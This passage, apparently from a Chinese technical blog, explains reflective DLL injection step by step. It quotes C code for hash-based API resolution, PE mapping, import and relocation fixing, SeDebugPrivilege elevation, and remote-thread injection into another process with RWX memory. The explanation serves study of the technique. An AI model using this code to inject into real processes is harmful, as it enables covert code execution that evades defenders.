        uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
        usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
        // 存储计算的 hash
        uiValueC = 0;
        // 计算 hash
        do
        {
            uiValueC = ror( (DWORD)uiValueC );
            if( *((BYTE *)uiValueB) >= 'a' )
                uiValueC += *((BYTE *)uiValueB) - 0x20;
            else
                uiValueC += *((BYTE *)uiValueB);
            uiValueB++;
        } while( --usCounter );
    // 和标准库中的函数 hash 进行比较
    if( (DWORD)uiValueC == KERNEL32DLL_HASH )
    {
        ...
    }
    else if( (DWORD)uiValueC == NTDLLDLL_HASH )
    {
        ...
    }
    uiValueA = DEREF( uiValueA );
}
 
- Step2 : 把 dll 映射到新开辟的内存
在 Nt optional header 结构体中的 SizeOfImage 变量存储着 PE 文件在内存中解析后所占的内存大小,可以根据这个分配一块新的内存,然后按照 section headers 中的文件相对偏移和相对虚拟地址,将这个 PE 节一一映射到新开辟的内存中。
// 根据 SizeOfImage 分配新内存
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
    uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
    uiValueB = uiLibraryAddress;
    uiValueC = uiBaseAddress;
    // 将所有的头和节表逐字节复制到新内存
    while( uiValueA-- )
        *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
 
- Step 3: 加载这些节
 // 解析每一个节表项
    uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
    uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
    while( uiValueE-- )
    {
        // uiValueB is the VA for this section
        uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
        // uiValueC if the VA for this sections data
        uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
        // 将每一节的内容复制到新内存对应的位置
        uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
        while( uiValueD-- )
            *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
        // get the VA of the next section
        uiValueA += sizeof( IMAGE_SECTION_HEADER );
    }
 
- Step 4:加载导入表
因为被注入的 dll 还可能依赖于其他的 dll,所以还需要装载这些被依赖的 dll,并修改当前 dll 的导入表,是这些被导入的函数能正常运行。
PE 文件的导入表是一个元素为 IMAGE_IMPORT_DESCRIPTOR 的数组,每一个被依赖的 dll 都对应着数组中的一个元素。

首先根据导入表结构,找到导入函数所在的 dll 名称,然后使用 Loadlibrary() 函数载入 dll,根据函数的序号或名称,载入到 dll 导出表中,通过 hash 对比,把要用到的函数地址写入新内存的 IAT 表中。
 uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
    
    // uiValueC 是第一个导入函数
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
    
    while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
    {
        // 使用 LoadLibraryA 函数加载对应的 dll
        uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
        uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
        // IAT 表
        uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
        while( DEREF(uiValueA) )
        {
            // 如果是根据函数编号导入的
            if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
            {
                uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
                uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
                uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
                uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
                uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
                // 将对应的导入函数地址写入 IAT 表
                DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
            }
            else    // 如果导入函数通过名称导入
            {
                uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
                DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
            }
            uiValueA += sizeof( ULONG_PTR );
            if( uiValueD )
                uiValueD += sizeof( ULONG_PTR );
        }
        // 获得下一个导入函数的地址
        uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
    }
 
- Step 5:加载重定向表
被注入的 DLL 中只有 ReflectiveLoader 中的代码故意写成与地址无关的,其他部分的代码都需要重定向才能运行。重定向表是为了解决程序指定的 imagebase 被占用的情况下,程序使用绝对地址访问错误的情况。比如当引用全局变量的时候会用到绝对地址,这时候需要去修正对应内存的汇编指令。
PE 中的 DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC] 头指向了重定向表:
typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
//  WORD    TypeOffset[1];
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

其中,Typeoffset 的高 4 位代表重定位类型(一般为 3),低 12 表示重定向地址,这个地址和 IMAGE_BASE_RELOCATION 中的 VirtualAddress 加起来则指向一个需要重定位的指令。
具体重定向的过程中,首先计算得到的基地址的偏移量,也就是实际的 DLL 加载地址减去 DLL 的推荐加载地址。最后将 VirtualAddress 和 Typeoffset 组册灰姑娘的地址所指向的双字加上这个偏移量,就完成了重定位。
*(DWORD*)(VirtualAddress + Typeoffset的低12位) += (实际DLL加载地址 – 推荐DLL加载地址)
实现:
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// 如果重定向表的值不为 0,则修正重定向节
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
    uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
    while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
    {
        uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
        uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
        uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
        // 根据不同的标识,修正每一项对应地址的值
        while( uiValueB-- )
        {
            if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
                *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
                *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
            uiValueD += sizeof( IMAGE_RELOC );
        }
        uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
        uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
    }
}
 
- Step 6:调用 dll 入口点
调用 NtFlushInstructionCache 清除指令缓存,最后 ReflectiveLoader 将控制权转交给 DLL 文件的入口点(通过 AddressOfEntryPoint 确认) 。
 uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
    pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
    ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
    ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
    return uiValueA;
 
动态调试:
(windbg 用不熟,之后再补)
注入过程:
前面都是分析的 ReflectiveLoader 的实现流程,下面看一下 Inject 的具体实现。相关代码在 Inject.c 中
首先解析传入参数,调用 CreateFileA 加载 reflective_dll 得到 dll 句柄
     hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
        if( hFile == INVALID_HANDLE_VALUE )
            BREAK_WITH_ERROR( "Failed to open the DLL file" );
然后获得 reflective_dll 文件的大小,并为其分配一块内存
     dwLength = GetFileSize( hFile, NULL );
        if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
            BREAK_WITH_ERROR( "Failed to get the DLL file size" );
        lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
        if( !lpBuffer )
            BREAK_WITH_ERROR( "Failed to get the DLL file size" );
之后将 reflective_dll 读入进程内存空间
     if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
            BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
然后提权
     if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
        {
            priv.PrivilegeCount           = 1;
            priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        
            if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
                AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
            CloseHandle( hToken );
        }
之后就是注入的过程,打开目标进程并用 LoadRemoteLibraryR 实现 dll 注入
     hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
        if( !hProcess )
            BREAK_WITH_ERROR( "Failed to open the target process" );
        hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
        if( !hModule )
            BREAK_WITH_ERROR( "Failed to inject the DLL" );
        printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
跟进实现的具体实现 LoadRemoteLibraryR,首先获得 ReflectiveLoader 的偏移 
         dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
            if( !dwReflectiveLoaderOffset )
                break;
然后再被注入进程中分配一段 rwx 的内存,把 dll 的映像写入进程
         lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 
            if( !lpRemoteLibraryBuffer )
                break;
            if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
                break;
截止就可以用 CreateRemoteThread 创建远程线程并执行 ReflectiveLoader 
         lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
            hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
 
参考文献